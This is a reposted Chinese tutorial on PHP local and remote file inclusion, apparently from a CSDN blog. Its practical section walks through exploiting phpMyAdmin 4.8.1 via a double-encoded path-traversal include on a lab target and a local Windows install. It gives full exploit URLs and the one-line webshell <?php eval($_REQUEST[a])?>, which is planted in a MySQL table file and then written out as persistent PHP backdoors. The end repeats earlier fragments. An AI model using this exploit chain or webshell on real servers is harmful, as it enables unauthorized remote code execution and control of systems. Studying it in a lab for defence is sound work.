本文摘要：本文主要探讨了PHP编程中的文件包含机制，通过include函数实现本地文件包含以减少代码重复。即使被包含文件扩展名非.php，只要内含PHP代码，仍会被当作PHP执行。同时指出，当使用require函数时，若包含文件不存在将导致后续功能无法执行。远程文件包含依赖于allow_url_include配置项的开启，使得PHP程序能包含并执行远程服务器上的PHP代码。实战部分演示了如何利用本地文件包含漏洞将一句话木马写入MySQL数据库相关文件，并成功执行，展示了在不同系统环境下（如Windows）可能存在的本地文件包含转变为远程文件包含的情况，以及在该过程中对MySQL数据库路径和文件包含语法规则的应用。

转载文章

本篇文章为转载内容。原文链接：https://blog.csdn.net/qq_45300786/article/details/108724251。

该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。

作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。

如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

在这里插入图片描述

为了防止代码重复，我们就有了，文件包含。很多网页如果要用到很多同样的函数，那么我们就可以使用这个文件包含函数，就避免了每个网页又去重复造轮子。

在这里插入图片描述

在这里插入图片描述
在index.php文件里包含1.txt，而1.txt的内容是phpinfo(),include函数包含1.txt，就会把1.txt的内容当成php文件执行，不管后缀是什么。1.txt也好，1.xml也好，只要里面是php代码，然后有被include函数包含，那么就被当成PHP文件执行。
在这里插入图片描述
如果包含的文件不存在，就会出现致命的错误，并报出绝对路径，然是不影响其他功能的执行，比如这里的nf和123的输出。那么就表明include函数，如果出现错误的话，并不会影响其他功能的运行。

如果包含的文件不存在，就会出现致命的错误，并报出绝对路径，影响后面功能的执行，比如这里的nf的输出，后面的功能因为2.txt报错，导致123未执行。那么就表明require函数，如果出现错误的话，会影响后面功能的运行。
在这里插入图片描述
只要文件内是php代码，文件包含是不在意文件后缀的。

12345.jpg的传参值是a，那么我们可以写传参值=file_put_contents(‘8.php’,’<?php eval($_REQUEST[a]);?>’)
然后生成一个新的php文件

在这里插入图片描述
访问index.php

以上我们接触的全部是本地文件包含

说了`本地`文件包含，我们再来看`远程`文件包含

简单来说远程文件包含，就是可以包含其他主机上的文件，并当成php代码执行。
要实现远程文件包含的话，php配置的allow_url_include = on必须为on（开启）
来我们可以来实验一下，把这个配置打开。
“其他选项菜单”——“打开配置文件”——“php-ini”
在这里插入图片描述
打开配置文件，搜索allow_url_include 把Off改为On，注：第一个字母要为大写

之后要重启才能生效。

配置开启后，我们来远程文件包含一下，我们来远程包含一下kali上的1.txt，可以看到没有本地包含，所以直接显示的内容。

在这里插入图片描述

那我们现在来远程包含一下kali的这个1.txt，看会不会有phpinfo，注意我这里是index文件哦，所以是默认的。

可以看到，包含成功！

在这里插入图片描述
这里可以插一句题外话，如果是window服务器的话，可以让本地文件包含变成远程文件包含。需要开始XX配置，SMB服务。

这里我们可以发现，进入一个不存在的目录，然后再返回上一级，相当于没变目录位置，这个是不影响的，而且这个不存在的目录随便怎么写都可以。
在这里插入图片描述
但是php是非常严格的，进入一个不存在的目录，这里目录的名字里不能有？*号，否则报错，然后再返回上一级，相当于没变目录位置，这个是不影响的，而且这个不存在的目录随便怎么写都可以。

实战

在这里插入图片描述

注意，这里php版本过低，会安装不上

在这里插入图片描述

在这里插入图片描述
安装好后，我们来解析下源码

在这里插入图片描述 1.txt内容phpinfo()

来本地文件包含一下，发现成功

http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/../11.txt
在这里插入图片描述

靶场 http://59.63.200.79:8010/lfi/phpmyadmin/

先创建一个库名：nf
在这里插入图片描述

接着创建表：ff,字段数选2个就行了
在这里插入图片描述

然后选中我们之前创建好的库名和表名，开始写入数据，第一个就写个一句话木马，第二个随便填充。

在这里插入图片描述

然后我们找到存放表的路径。

在这里插入图片描述
这里我们要传参2个，那么就加上&这里我们找到之后传参phpinfo

http://59.63.200.79：8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm`&`a=phpinfo();

因为a在ff.frm里

<?php eval($_REQUEST[a])?>注意，这里面没有分号和单引号

文件包含成功

在这里插入图片描述

用file_put_contents(‘8.php’,’<?php eval($_REQUEST[a]);?>’)写入一句话木马

http://59.63.200.79：8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm`&`a=file_put_contents(‘8.php’,’<?php eval($_REQUEST[a])?>’);

<?php eval($_REQUEST[a])?>注意，这里面没有分号和单引号

在这里插入图片描述
写入成功后，我们连接这个8.php的木马。

http://59.63.200.79：8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/8.php

在这里插入图片描述

在线测试时这样，但是我在`本地测试`的时候，还是有点不一样的。我就直接上不一样的地方，前面的地方都是一样的

1，创建一个库为yingqian1984,
2，创建一个表为yq1984
3，填充表数据,因为跟上面一样，2个字段一个木马，一个随便数据
4，找数据表的位置，最后我发现我的MySQL存放数据库的地方是在
C:\ProgramData\MySQL\MySQL Server 5.7\Data\yingqian1984
在这里插入图片描述

文件包含成功。

http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/ProgramData/MySQL/MySQL Server 5.7/Data/yingqian1984/qy1984.frm&a=phpinfo();

在这里插入图片描述

用file_put_contents(‘9.php’,’<?php eval($_REQUEST[a]);?>’)写入一句话木马

http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/ProgramData/MySQL/MySQL Server 5.7/Data/yingqian1984/qy1984.frm&a=file_put_contents(‘9.php’,’<?php eval($_REQUEST[a])?>’);

<?php eval($_REQUEST[a])?>注意，这里面没有分号和单引号

在这里插入图片描述

传参成功

http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/9.php?a=phpinfo();

在这里插入图片描述

本篇文章为转载内容。原文链接：https://blog.csdn.net/qq_45300786/article/details/108724251。

该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。

作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。

如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

名词解释

作为当前文章的名词解释，仅对当前文章有效。

文件包含：文件包含是PHP编程中的一种机制，允许开发者在一个PHP脚本中嵌入并执行另一个文件的内容。通过使用include或require等函数，可以将外部文件的代码合并到当前脚本中，实现代码复用、模块化和功能扩展。在本文语境下，文件包含可能被恶意利用，攻击者借此将恶意代码包含进目标脚本执行，从而发动攻击。

一句话木马：在网络安全领域，一句话木马通常指一段极其简短却具备后门功能的PHP代码，能够为攻击者提供远程控制服务器的机会。在文中，攻击者利用文件包含漏洞将一句话木马写入MySQL数据库相关文件，并通过访问特定URL触发该木马执行，进而实现对目标系统的控制。

allow_url_include：allow_url_include是PHP配置选项之一，用于决定是否允许PHP脚本通过include或require函数包含远程（HTTP/HTTPS/FTP）文件。当allow_url_include设置为On时，PHP会尝试从远程服务器获取指定路径的文件内容并当作PHP代码执行。在本文的安全实验场景中，开启此配置选项意味着攻击者可以利用远程文件包含漏洞进行攻击。

MySQL：MySQL是一个广泛使用的开源关系型数据库管理系统，可存储、管理和检索数据。在文章的实战部分，作者演示了如何利用文件包含漏洞向MySQL数据库中的表文件插入一句话木马，并通过访问生成的PHP文件来执行恶意代码，说明了在Web应用程序开发中，若对数据库操作不当，可能导致严重的安全问题。

[转载]本地文件包含和远程文件包含（超详细，小白也彳亍！）

为了防止代码重复，我们就有了，文件包含。很多网页如果要用到很多同样的函数，那么我们就可以使用这个文件包含函数，就避免了每个网页又去重复造轮子。

以上我们接触的全部是本地文件包含

说了本地文件包含，我们再来看远程文件包含

可以看到，包含成功！

实战

注意，这里php版本过低，会安装不上

来本地文件包含一下，发现成功

靶场 http://59.63.200.79:8010/lfi/phpmyadmin/

http://59.63.200.79：8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm&a=phpinfo();

文件包含成功

用file_put_contents(‘8.php’,’<?php eval($_REQUEST[a]);?>’)写入一句话木马

http://59.63.200.79：8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm&a=file_put_contents(‘8.php’,’<?php eval($_REQUEST[a])?>’);

http://59.63.200.79：8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/8.php

在线测试时这样，但是我在本地测试的时候，还是有点不一样的。我就直接上不一样的地方，前面的地方都是一样的

文件包含成功。

用file_put_contents(‘9.php’,’<?php eval($_REQUEST[a]);?>’)写入一句话木马

传参成功

http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/9.php?a=phpinfo();

说了`本地`文件包含，我们再来看`远程`文件包含

http://59.63.200.79：8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm`&`a=phpinfo();

http://59.63.200.79：8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm`&`a=file_put_contents(‘8.php’,’<?php eval($_REQUEST[a])?>’);

在线测试时这样，但是我在`本地测试`的时候，还是有点不一样的。我就直接上不一样的地方，前面的地方都是一样的